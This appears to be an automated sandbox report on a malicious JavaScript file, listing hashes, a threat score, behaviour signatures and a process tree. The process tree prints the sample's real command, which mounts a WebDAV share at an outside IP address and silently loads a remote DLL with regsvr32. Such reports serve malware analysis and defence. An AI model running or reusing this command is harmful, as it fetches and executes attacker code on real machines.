Analysis

  • max time kernel
    139s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-07-2024 20:03

General

  • Target

    1163211531573320934.js

  • Size

    6KB

  • MD5

    25f794911f338697fab31c1c6c70339f

  • SHA1

    f52d5b94bd557cbdb51750f506f060446179ec2e

  • SHA256

    0b937f8f140b7819126902fd5fb824f01a0af348e16470cb570367f0e796ace6

  • SHA512

    ddc66b76519ee0e6010b30ffe1f871b5f00c6bc3bf75ce150b4109eda8060dd9615b878505a354a4be3d6a0cf6dab5cd5c8000d9a63a50df772068d7e167f61a

  • SSDEEP

    192:qr3Cva2LBitbCBvLazjFyH2r2t0s5mqLLM9Oyy39Jm0cJ4sDqcvY49KOdpiwcO/u:ttCtsYfih6HN6Hj

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1163211531573320934.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3076
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\12022453913303.dll
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Windows\system32\net.exe
        net use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:744

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads